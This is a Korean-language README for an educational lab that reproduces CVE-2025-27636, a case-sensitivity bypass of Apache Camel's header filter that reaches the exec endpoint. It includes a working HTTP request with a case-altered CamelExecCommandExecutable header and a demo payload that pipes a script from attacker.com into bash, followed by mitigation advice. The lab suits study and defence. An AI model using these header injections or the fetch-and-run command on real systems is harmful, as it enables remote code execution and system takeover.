
대소문자 구분 헤더 필터 우회를 통한 Apache Camel의 치명적인 RCE인 CVE-2025-27636을 재현하기 위한 실습 랩입니다. exec 엔드포인트를 통해 임의 명령을 실행하기 위한 헤더 주입을 시연합니다.
CVE-2025-27636은 Apache Camel의 camel-exec 구성 요소에서 발생하는 치명적인 원격 코드 실행(RCE) 취약점입니다. 미묘하지만 위험한 문제에서 비롯됩니다:
DefaultHeaderFilterStrategy는 헤더 이름에 대해 대소문자를 구분하여 검사하므로, 대체 대소문자를 사용하여 우회할 수 있습니다.
즉, 차단되어야 하는 내부 Camel 헤더(예: CamelExecCommandExecutable)가 대소문자를 조작(예: cAmeLexecCommandExecutable)하면 통과할 수 있습니다.
이 헤더가 exec: 엔드포인트에 도달하면 공격자는 임의 명령어를 주입하여 시스템 전체를 장악할 수 있습니다.
DefaultHeaderFilterStrategyApache Camel의 DefaultHeaderFilterStrategy는 다음과 같은 내부 헤더를 보호하기 위한 것입니다:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 대소문자 우회로 필터를 통과하면 취약🔍 '내부'란 무엇을 의미하나요? 내부 헤더는 다음과 같습니다:
Camel* 접두사가 붙음그러나 패치 이전에는 이 필터가 헤더 이름을 대소문자 구분하여 일치시켰으며, 이는 HTTP 사양(헤더는 대소문자를 구분하지 않음)을 위반하여 다음과 같은 우회를 허용했습니다:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
이 헤더는 exec: 구성 요소로 전달되어 페이로드를 실행하게 됩니다.
CamelExecCommandExecutable이 헤더는 camel-exec 구성 요소에 어떤 명령어를 실행할지 알려줍니다. 특히 OS 수준 명령어(예: bash, cmd.exe 등)를 지원하는 환경에서는 강력하면서도 매우 위험합니다.
프로젝트: Pinewood Server Diagnostic
저자: @enochgitgamefied
목표: CVE-2025-27636을 실제 교육용 연구소에서 재현합니다.
Apache Camel 4.10.0 기반
라우트:
/tasks → exec:tasklist 또는 exec:ps를 사용하여 작업 목록 표시/systeminfo → OS 정보 출력 (systeminfo 또는 uname -a)/network → ipconfig 또는 ifconfig 표시웹 UI는 임베디드 Jetty를 사용하여 /에서 제공
필터링이 패치되지 않은 경우 대소문자 변형 헤더 주입에 취약
# 저장소 클론
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# 앱 패키징
mvn clean package
# 실행
java -jar target/hello-camel-1.0-SNAPSHOT.jar
그런 다음 브라우저에서 방문하세요:
🖥️ http://<your-ip>:8484
패치되지 않은 동작:
다음과 같은 헤더를 보내면 (대소문자에 주목):
cAmeLexecCommandExecutable: whoami
필터가 차단하지 못하고 exec: 엔드포인트로 전달됩니다. 다음을 시연할 수 있습니다:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← 위험전체 데모가 준비 중이며 곧 업로드될 예정입니다. 다음 내용을 안내합니다:
YouTube 데모 링크 https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy**를 사용하세요.exec: 라우트를 HTTP에 직접 노출하지 마십시오.exec를 연결할 때 더욱 그렇습니다.이 연구소는 교육적이고 통제된 실험실 목적으로만 설계되었습니다. 절대 허가되지 않은 시스템이나 네트워크에서 시도하지 마십시오.
